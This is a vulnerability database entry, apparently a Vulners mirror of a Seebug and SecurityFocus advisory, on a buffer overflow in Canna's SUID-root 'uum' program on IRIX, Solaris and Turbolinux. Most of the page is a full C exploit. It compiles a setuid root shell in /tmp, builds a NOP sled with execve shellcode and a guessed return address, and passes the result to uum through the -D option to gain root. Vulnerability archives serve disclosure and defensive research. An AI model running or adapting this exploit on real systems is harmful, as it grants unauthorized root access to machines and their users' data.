Lucene search
K

IRIX <= 6.5,Solaris <= 7.0,Turbolinux 4.2 'uum' Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Canna 'uum' Buffer Overflow Vulnerability on IRIX, Solaris, and Turbolinu

Code

                                                source: http://www.securityfocus.com/bid/757/info

Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.

Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romanji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.

Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.

The Canna subsystem on certain UNIX versions contains a buffer overflow in the &#39;uum&#39; program. Uum is a Japanese input tty frontend for Canna. Regrettably, certain versions are vulnerable to a buffer overflow attack via unchecked user supplied data with the &#39;-D&#39; option. Since &#39;uum&#39; is installed as SUID root this may result in a root level compromise. 

/*=============================================================================
   /usr/bin/uum Exploit for Linux 
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by
    UNYUN     ([email protected])
  =============================================================================
*/
#include &#60;stdlib.h&#62;
#include &#60;stdio.h&#62;

#define RET_ADR  84
#define EXP_ADR  204
#define MAXBUF   300
#define JMP_OFS  0x484
#define NOP      0x90
#define SHELL    &#34;/tmp/pp&#34;
#define COMPILER &#34;gcc&#34;

char exec[60]= 
  &#34;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&#34;
  &#34;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&#34;
  &#34;\x80\xe8\xdc\xff\xff\xff&#34;;

char            xx[MAXBUF+1];
unsigned int    i,ip,sp;
FILE            *fp;


unsigned long get_sp(void)
{
__asm__(&#34;movl %esp, %eax&#34;);
}

main()
{
    strcat(exec,SHELL);
    sprintf(xx,&#34;%s.c&#34;,SHELL);
    if ((fp=fopen(xx,&#34;w&#34;))==NULL){
        printf(&#34;Can not write to %s\n&#34;,xx);
        exit(1);
    }
    fprintf(fp,&#34;main(){setuid(0);setgid(0);system(\&#34;/bin/sh\&#34;);}&#34;);
    fclose(fp);
    sprintf(xx,&#34;%s %s.c -o %s&#34;,COMPILER,SHELL,SHELL);
    system(xx);

    sp=get_sp();
    memset(xx,NOP,MAXBUF);
    ip=sp-JMP_OFS;
    printf(&#34;Jumping address = %x\n&#34;,ip);
    xx[RET_ADR  ]=ip&0xff;
    xx[RET_ADR+1]=(ip&#62;&#62;8)&0xff;
    xx[RET_ADR+2]=(ip&#62;&#62;16)&0xff;
    xx[RET_ADR+3]=(ip&#62;&#62;24)&0xff;
    strncpy(xx+EXP_ADR,exec,strlen(exec));
    xx[MAXBUF]=0;
    execl(&#34;/usr/bin/uum&#34;,&#34;uum&#34;,&#34;-D&#34;,xx,(char *) 0);
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
19